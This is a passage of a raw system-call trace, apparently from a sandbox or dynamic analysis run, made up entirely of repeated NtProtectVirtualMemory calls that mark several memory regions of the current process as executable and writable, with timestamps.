NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.195] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.465] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.568] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.747] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0327.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, 